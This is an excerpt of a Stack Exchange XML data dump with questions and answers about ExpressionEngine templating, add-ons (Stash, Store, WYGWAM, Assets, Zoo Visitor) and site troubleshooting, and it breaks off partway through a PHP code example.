  <row Id="11107" PostTypeId="2" ParentId="11105" CreationDate="2013-06-08T13:14:31.973" Score="1" Body="&lt;p&gt;I'd do this with Stash. Use &lt;code&gt;set_list&lt;/code&gt; to store each category and url title into an array, then use &lt;code&gt;get_list&lt;/code&gt; with &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; to remove the dupes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cats&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:categories style=&quot;linear&quot;}    &#xA;        {stash:cat-name}{category_name}{/stash:cat-name}&#xA;        {stash:cat-url-title}{category_url_title}{/stash:cat-url-title}&#xA;    {/exp:channel:categories}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;  {exp:stash:get_list name=&quot;cats&quot; unique=&quot;yes&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{cat-url-title}&quot;&amp;gt;{cat-name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-08T13:14:31.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11108" PostTypeId="1" AcceptedAnswerId="11113" CreationDate="2013-06-08T14:14:56.580" Score="1" ViewCount="131" Body="&lt;p&gt;Currently my store installation requires you to press the button 'update cart' to calculate the shipping when at the start of checkout. I don't need anything fancy with the shipping - it just calculates it based on total amount in the basket. Can I get it so that the shipping is automatically calculated when arriving at checkout instead of forcing the user to update the cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1634" LastEditorUserId="104" LastEditDate="2013-07-04T09:44:08.410" LastActivityDate="2013-07-04T09:44:08.410" Title="Expr-esso Store - shipping" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11109" PostTypeId="1" AcceptedAnswerId="11111" CreationDate="2013-06-08T15:14:39.723" Score="0" ViewCount="1006" Body="&lt;p&gt;I'm trying to get this if statement to work, not sure what I'm doing wrong. This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{if remaining_places_available&amp;lt;1 &amp;amp;&amp;amp; category_id==259}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Fully booked&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;{/if}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is within the channel entries tag. the remaining_places_available is a field. Replacing &amp;amp;&amp;amp; with AND doesn't work either. It's just outputting {categories} {/categories}  on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is my channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;choices_events&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; disable=&quot;trackbacks&quot; orderby=&quot;date_time&quot; sort=&quot;asc&quot; paginate=&quot;bottom&quot; status=&quot;open&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine in my code, and outputs '259' on the correct entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if category_id == &quot;259&quot;}259{/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just can't get it to work within the other if statement :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{if remaining_places_available&amp;lt;1 &amp;amp;&amp;amp; category_id==259}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Fully booked&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;{/if}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1566" LastEditorUserId="343" LastEditDate="2013-06-09T01:40:09.147" LastActivityDate="2013-06-09T01:40:09.147" Title="Conditional by field and category" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11110" PostTypeId="2" ParentId="10168" CreationDate="2013-06-08T15:29:00.443" Score="2" Body="&lt;p&gt;You can also do this with the rte_lib:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library(array('javascript', 'rte_lib'));&#xA;&#xA;ee()-&amp;gt;javascript-&amp;gt;output(&#xA;  ee()-&amp;gt;rte_lib-&amp;gt;build_js(0, '.WysiHat-field', NULL, TRUE)&#xA;);&#xA;&#xA;$field_output = ee()-&amp;gt;rte_lib-&amp;gt;display_field('&amp;lt;p&amp;gt;Your text&amp;lt;/p&amp;gt;', 'your_field_name', array(&#xA;  'field_ta_rows' =&amp;gt; 3,&#xA;  'field_text_direction' =&amp;gt; 'ltr',&#xA;  'field_fmt' =&amp;gt; 'none',//xhtml or br or none&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-06-08T15:29:00.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11111" PostTypeId="2" ParentId="11109" CreationDate="2013-06-08T16:35:17.707" Score="2" Body="&lt;p&gt;First, let me say that &quot;trackbacks&quot; isn't a value of the parameter disable anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's make your conditionals to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't realize until see your code, but looks like just the variables related to the {categories} tag pair are available inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, your conditional uses an &quot;AND&quot;, we can break it into two parts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if remaining_places_available &amp;lt; 1}&#xA;    {categories}&#xA;        {if category_id == 259}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Fully booked&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;    {/categories}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-06-08T16:53:13.617" LastActivityDate="2013-06-08T16:53:13.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11112" PostTypeId="1" AcceptedAnswerId="11115" CreationDate="2013-06-08T18:10:31.490" Score="1" ViewCount="1027" Body="&lt;p&gt;When trying to browse files to upload an image I am getting the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The file browser is disabled for security reasons. Please contact your system administrator and check the CKFinder configuration file.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running old versions, but hope there is a quick solution before having to update this old site.&#xA;Running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WYGWAM 2.3.2&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2013-06-08T22:09:39.747" Title="WYGWAM error &quot;The file browser is disabled for security reasons...&quot;" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11113" PostTypeId="2" ParentId="11108" CreationDate="2013-06-08T20:34:04.787" Score="1" Body="&lt;p&gt;Are you using the &lt;code&gt;{exp:store:cart}&lt;/code&gt; tag or the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag? Basically the Cart Tag behaves exactly the same as the Checkout Tag. The difference lies in performance - while the Checkout Tag provides a form, and provides options for updating and submitting the cart, the Cart Tag simply displays a cached version of the current cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag a try and this should calculate things automatically for you without needing to update the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;    ...&#xA;    {order_shipping}&#xA;    ...&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-08T20:34:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11114" PostTypeId="2" ParentId="11104" CreationDate="2013-06-08T21:24:41.033" Score="2" Body="&lt;p&gt;Unfortunately FreeMember (or even other Member modules) wont be able to help with what you're trying to achieve there. When a member is logged it they are given a unique &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot; rel=&quot;nofollow&quot;&gt;session&lt;/a&gt; ID which is stored in the database in the exp_sessions table. This may be with session alone, cookies alone, or with both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the user is logged in as Admin or anyone else then they wont be able to create a new member from the front-end templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately most of EE's native CRUD functionality is locked in the CP so it's not that simple to work with much other than regular channel entries using Safecracker from the front-end templates. Even &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/&quot; rel=&quot;nofollow&quot;&gt;EE's own API&lt;/a&gt; mainly just provides a way to retrieve channel and category information and is only available to the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully there is now some light at the end of the tunnel thanks to Ben Croker and &lt;a href=&quot;https://github.com/putyourlightson/open-api&quot; rel=&quot;nofollow&quot;&gt;Open API&lt;/a&gt;. It's an open source API to provide CRUD functionality outside of the CP and includes Member functionality. It's &lt;a href=&quot;http://docs.eeopenapi.apiary.io/&quot; rel=&quot;nofollow&quot;&gt;nicely documented&lt;/a&gt; but you'd really need to take a look through and look to integrate that into your site to enable the functionality you're after. FreeMember alone wont help you to build a member management interface in your front-end templates.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-08T21:24:41.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11115" PostTypeId="2" ParentId="11112" CreationDate="2013-06-08T22:09:39.747" Score="3" Body="&lt;p&gt;Make sure you're accessing your CP on the same domain as your site? e.g domain.com/cp and not www.domain.com/cp. Ensure whichever you're using matches that which is set in Admin &gt; General Configuration.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-08T22:09:39.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11116" PostTypeId="2" ParentId="10173" CreationDate="2013-06-08T22:18:54.543" Score="0" Body="&lt;p&gt;&lt;code&gt;&amp;amp;#125;&lt;/code&gt; is the HTML character entity for a right curly bracket &lt;code&gt;}&lt;/code&gt;. It could be that you've forgotten to include a closing curly bracket somewhere in the code you're pasting in and it's being interpreted incorrectly as a result. Check your code in that textarea and ensure all brackets are paired up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything matches up correctly in your textarea field then it might well be in your template where a mis-match is causing the issue.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-08T22:18:54.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11117" PostTypeId="1" CreationDate="2013-06-09T06:53:00.690" Score="1" ViewCount="82" Body="&lt;p&gt;I have a channel called &quot;Courses&quot; and it is using Matrix to have several &quot;Lessons&quot;. I use Zoo Visitors, so I have members as channel entries. When a member signs up for a course, I want to follow if he/she completed the lessons of the course. When he/she completes all lessons under that course, then the course also will be marked as completed for this user. I can imagine how this would be done using database tables, but do you think if it can be handled using just channels/matrix/playa? Or module should be developed?&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2013-06-10T13:32:09.133" Title="Many-to-many relation (playa?) with additional data" Tags="|matrix|playa|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11118" PostTypeId="2" ParentId="11100" CreationDate="2013-06-09T08:19:55.177" Score="1" Body="&lt;p&gt;I'd double check that the new database credentials have been added to the database.php file and that they are correct for the new host. &lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;Deeploy helper&lt;/a&gt; can often be useful when moving to a new environment to make sure all the settings are correct for it's new location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that then have a good check that there aren't in fact any errors on the Publish screen or notifications bar at the top. These can be very subtle and can often be missed resulting in the symptoms that you describe. I've certainly had this before when clients have described the exact same thing only to find that it was due to a subtle error message that wasn't noticed. If that's the case then &lt;a href=&quot;http://devot-ee.com/add-ons/ep-mega-error&quot; rel=&quot;nofollow&quot;&gt;Mega Error&lt;/a&gt; may help to make them a little...less subtle.. :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-09T08:19:55.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11119" PostTypeId="2" ParentId="11102" CreationDate="2013-06-09T08:31:45.530" Score="2" Body="&lt;p&gt;I don't think it's possible to change the order of items in Assets as this is mainly intended as a global asset management addon and not particularly linked to display in front-end templates. You will probably be better off doing this in a Channel Entry where you pull in your assets and then set things like an order on the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; (also by Pixel &amp;amp; Tonic) will help you to do this where you can place each asset in it's own row providing a way to order them. &lt;a href=&quot;http://devot-ee.com/add-ons/matrix-multi-upload&quot; rel=&quot;nofollow&quot;&gt;Matrix multi-upload&lt;/a&gt; will also provide an easier way for users to upload a batch of files at a time whilst actually creating that entry saving switching back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use something such as &lt;a href=&quot;http://www.devdemon.com/channel_images&quot; rel=&quot;nofollow&quot;&gt;Channel Images&lt;/a&gt; where you're doing much the same thing and pulling in assets into a channel entry with the option to set ordering and various other options before saving.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-09T08:31:45.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11120" PostTypeId="2" ParentId="11094" CreationDate="2013-06-09T09:26:47.243" Score="1" Body="&lt;p&gt;You may get some of the way there with &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; in that they abstract out member management to channel entries so you would be able to &lt;strong&gt;READ&lt;/strong&gt; members from front-end templates using their module tags along with native EE channel entries tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possibly &lt;strong&gt;CREATE&lt;/strong&gt; members from the front-end too if — in the case of Zoo Visitor for example — you set &lt;code&gt;autologin=&quot;no&quot;&lt;/code&gt;. This should prevent the the person from being assigned a session ID and automatically being logged in as that user. You would need to ensure that you remove any &lt;code&gt;{if logged_in}&lt;/code&gt; checks in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; would be possible if you pass in the &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/update.html#member-id&quot; rel=&quot;nofollow&quot;&gt;member_id&lt;/a&gt; or the &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/update.html#member-entry-id&quot; rel=&quot;nofollow&quot;&gt;member_entry_id&lt;/a&gt; of the profile you wish to update as is the case with Zoo Visitor. Profile:Edit will only enable you to update the profile of the &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#edit-profile&quot; rel=&quot;nofollow&quot;&gt;currently logged in member&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;strong&gt;EDIT 1:&lt;/strong&gt; James (below) has mentioned that you can also pass in the member_id to Profile:Edit to allow you to edit a specific member profile and not just that of the current logged in user.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as &lt;strong&gt;DELETE&lt;/strong&gt; goes I don't think either module will provide a way to do this in the way that you're hoping from the front-end. Profile:Edit doesn't provide this option at all and whilst Zoo Visitor provide a &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/delete-account.html&quot; rel=&quot;nofollow&quot;&gt;delete tag&lt;/a&gt; it can only be used to delete the &lt;em&gt;currently logged in member&lt;/em&gt; from the front-end for obvious reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to achieve most of what you want to with both addons if used in the control panel however and being regular channel entries you can assign member groups with varying permissions along with custom member fields. This would be your easiest option but if working from the front-end is essential then it could be worth checking out &lt;a href=&quot;https://github.com/putyourlightson/open-api&quot; rel=&quot;nofollow&quot;&gt;Open API&lt;/a&gt;. It acts as a platform and doesn't provide a ready made solution as soon as you install it so you need to be prepared to get your hands a little dirty in getting in building a CRUD based member management system.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;strong&gt;EDIT 2:&lt;/strong&gt; Although I've not used the module myself it seems that &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt; has the ability to both &lt;a href=&quot;http://www.solspace.com/docs/user/edit/&quot; rel=&quot;nofollow&quot;&gt;UPDATE&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/docs/user/delete_form/&quot; rel=&quot;nofollow&quot;&gt;DELETE&lt;/a&gt; users along with providing a means for a single Admin user to &lt;a href=&quot;http://www.solspace.com/docs/user/register/&quot; rel=&quot;nofollow&quot;&gt;CREATE&lt;/a&gt; users from the front-end. Overall this seems to be your best bet in achieving what you're looking to do.]&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-06-09T14:50:56.847" LastActivityDate="2013-06-09T14:50:56.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11121" PostTypeId="1" AcceptedAnswerId="11127" CreationDate="2013-06-09T12:25:00.050" Score="2" ViewCount="133" Body="&lt;p&gt;Seems like a no-brainer feature to have, specifically regarding the date and location properties of images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, I know I can use VZ Exif, but for performance reasons, I'd prefer to have that metadata in Assets' DB instead of reading the data from the filesystem every time.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-06-10T06:35:37.403" Title="Can P&amp;T Assets read/use image EXIF data?" Tags="|assets|image|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11122" PostTypeId="2" ParentId="11121" CreationDate="2013-06-09T14:28:34.863" Score="0" Body="&lt;p&gt;As far as I know it can. You'll find details in the &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Assets docs&lt;/a&gt; including parameters for &lt;code&gt;date&lt;/code&gt;, &lt;code&gt;date_modified&lt;/code&gt;, and &lt;code&gt;location&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-09T14:28:34.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11123" PostTypeId="2" ParentId="11121" CreationDate="2013-06-09T16:11:09.010" Score="1" Body="&lt;p&gt;Yes, you are correct with the plugin &quot;VZ EXIF&quot;, all the EXIF data are being fetched for that file dynamically. &#xA;I couldn't see such any file handling field type which stores EXIF data also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, a field type or module can be developed for it which would be great :).&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-09T16:11:09.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11124" PostTypeId="1" CreationDate="2013-06-09T20:08:04.440" Score="1" ViewCount="106" Body="&lt;p&gt;Just upgraded to 2.6 and know my file upload window comes up blank. There’s no errors and everything seems in order. Currently at a loss on how to trouble shoot it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when you click the “upload file” button in file manager it comes up blank&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s a screen shot from trying to edit or add new content:&#xA;&lt;a href=&quot;http://cl.ly/image/433j413a2F2q&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/433j413a2F2q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s how it looks if i were to just go to content &gt; files &gt; file manager and try to upload from there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/image/1c151v2Q2U0Y&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1c151v2Q2U0Y&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really stuck on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jamie&lt;/p&gt;&#xA;" OwnerUserId="1639" LastActivityDate="2013-06-09T20:08:04.440" Title="Blank upload window after update to 2.6" Tags="|ee2|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11125" PostTypeId="2" ParentId="11041" CreationDate="2013-06-10T00:59:09.613" Score="0" Body="&lt;p&gt;What actually happens when you do this? You said it doesn't work, but do you see 404 pages, white screens, what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could try is changing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-10T00:59:09.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11126" PostTypeId="1" CreationDate="2013-06-10T05:26:34.560" Score="1" ViewCount="105" Body="&lt;p&gt;I have a client site that was updated to ee2 (2.5.0) about 15 months ago. Its at &lt;a href=&quot;http://www.smart-publications.com&quot; rel=&quot;nofollow&quot;&gt;http://www.smart-publications.com&lt;/a&gt;. The host both after and before that upgrade is yourhost.com. Everything worked fine. I updated them to 2.6.1, and updated all the add-ons that needed an update, about 10 days ago. Deployed the updates and within 15 minutes the server came down due to runaway memory usage. After working with the host and trying a few more times, no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We run a Rackspace cloud sites server for some client hosting, so I setup a site there and deployed the files. Using the testing URL that Rackspace provides, the site seemed fine. I opened the site in 8 tabs with auto reload on and the memory didn't go nuts. So I pointed the A record to this server for the time being and that is where the site is running now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured that Yourhost may not have servers optimized for EE so I recommended to the client setting up a VPS on Liquidweb, which I used for years with EE1 and 2 sites before Rackspace. We did that, and I deployed the site there and, using a spare domain name I own, set the site up for that. Opening several tabs with the auto reload running sent the memory on the server out of control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought maybe it was a 2.6.1 issue, or one of the add ons that I had updated, so I blew away the site and redeployed it using the original 2.5.0 version before I had done any of the upgrades. Same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help be figure out what the hell is going on? I've never seen anything like this.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-06-11T23:56:17.663" Title="Runaway memory usage on 2 of 3 servers - strange situation" Tags="|server|memory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11127" PostTypeId="2" ParentId="11121" CreationDate="2013-06-10T06:35:37.403" Score="1" Body="&lt;p&gt;I'd just like to point out that, in order to read EXIF data, you must have PHP compiled using --exif-enabled flag, which is not something all hosting parties provide, hence Assets is not sporting this feature, but this is on our list of things to do, probably by using some 3rd party library for this, that parses jpg files.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-06-10T06:35:37.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11130" PostTypeId="2" ParentId="11117" CreationDate="2013-06-10T10:30:14.490" Score="1" Body="&lt;p&gt;In theory that sounds possible. You'd probably have to create some custom fields in the Member channel (possibly again with Matrix) so you can assign &quot;Courses&quot; and the corresponding &quot;Lessons&quot; to them. You could then include a column for &quot;Status&quot; and indicate whether it's &quot;not started&quot;, &quot;started&quot;, or &quot;complete&quot;. On the front-end you can then use a Safecracker form to change the status once the course has been completed. This could be either a hidden submission or a manual user action to indicate that they've completed the course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem would be that in the Member entry you'd need to track Courses and Lessons separately so that each could have a status. I'm not sure that would work in a single Matrix field(?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No doubt you'd get a better result with a custom module but it would also take considerably longer to put together so it's a tradeoff between whether you can get something to work with what you have (albeit maybe not quite tailored how you would like it in an ideal world) versus the time (and/or cost) it would take to put together a custom module.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-10T10:30:14.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11131" PostTypeId="1" AcceptedAnswerId="11143" CreationDate="2013-06-10T11:18:10.760" Score="0" ViewCount="59" Body="&lt;p&gt;I have a client that needs to migrate to CloudFiles (currently hosting their assets on their own server). DevDemon indicated that they have a migration-script for current entries, but they are nowhere to be found (tried contacting them over e-mail and Google+), does anyone have a solution for this? They have over 2000 entries with Channel Images, so manual migration would be a PITA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-10T18:10:47.203" Title="Channel Images: Migrating to CloudFiles" Tags="|channel-images|migration|devdemon|cloudfiles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11132" PostTypeId="1" CreationDate="2013-06-10T11:58:06.757" Score="1" ViewCount="248" Body="&lt;p&gt;I'm hugely grateful for a resource like stackexchange and the really useful posts. I've researched the problem I'm having for a couple of days now and am seriously stuck - so any help is massively appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the fpdf to work with a very customised favourites system (uses playa and matrix to have parent and child pages) within EE to generate a pdf of the favourited pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it working so that i can output the html required for the pdf but I need to get the entire output into a single variable to feed the pdf plugin. I tried using stash append and also stash with php and within an embed but it's not working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working except being able to append to a single variable and it being set properly. Within 'output_pdf' below I have set up a blank stash variable and I want to build up with barrister details within the pdf_format_barrister include. It's not working as expected though and the stash call with output=&quot;no&quot; in doesn't seem to work at all and is still outputting the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how clear I'm being about what I'm tring to achieve but any pointers in retaining a variable and appending it across embeds is what I need really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output_pdf (using php and php set to output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// setup a blank stash variable to contain the output for the pdf to be appended in the embdeds&#xA;echo '{exp:stash:set name=&quot;pdf_string&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; save=&quot;yes&quot; replace=&quot;yes&quot; scope=&quot;user&quot;}{/exp:stash:set}';&#xA;&#xA;// THE LOOP&#xA;$i = 0;&#xA;$num_barristers = sizeof($barrister_person_ids);&#xA;&#xA;while ($i &amp;lt; $num_barristers) &#xA;{&#xA;    $this_barrister_id = $barrister_person_ids[$i];&#xA;&#xA;        //echo $this_barrister_id.&quot;&amp;lt;br/&amp;gt;&quot;;&#xA;&#xA;&#xA;        echo &quot;{embed='includes/pdf_format_barrister' barrister_id='$this_barrister_id'}&quot;;&#xA;&#xA;&#xA;&#xA;            $j=0;&#xA;            while ($j &amp;lt; $num_barrister_faves) { &#xA;&#xA;                //echo &quot;&amp;lt;p&amp;gt;&quot;.$barrister_exploded_fave_ids[$j].&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;                echo &quot;{embed='includes/pdf_format_expertise' barrister_id='$this_barrister_id' fave_id='$barrister_exploded_fave_ids[$j]'}&quot;;&#xA;&#xA;            $j++;&#xA;            }&#xA;&#xA;&#xA;    $i++;&#xA;&#xA;}&#xA;&#xA;$everything = '{exp:stash:get name=&quot;pdf_string&quot;}';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pdf_format_barrister:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;off&quot; entry_id=&quot;{embed:barrister_id}&quot; status=&quot;open&quot; disable=&quot;pagination&quot; limit=&quot;1&quot; channel=&quot;barristers_jc|barristers_qc&quot;}&#xA;&#xA;&#xA;    {exp:stash:set name=&quot;pdf_string&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; save=&quot;yes&quot; replace=&quot;yes&quot; scope=&quot;user&quot;}&#xA;    {exp:stash:get name name=&quot;pdf_string&quot; scope=&quot;user&quot;}  &#xA;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;div id=&quot;pdf-practice-areas&quot;  style=&quot;width: 100%; float: left;&quot;&amp;gt; &amp;lt;!-- profile related practice for pdf --&amp;gt;&#xA;&#xA;            &amp;lt;div style=&quot;width: 25%; float: right; text-align: 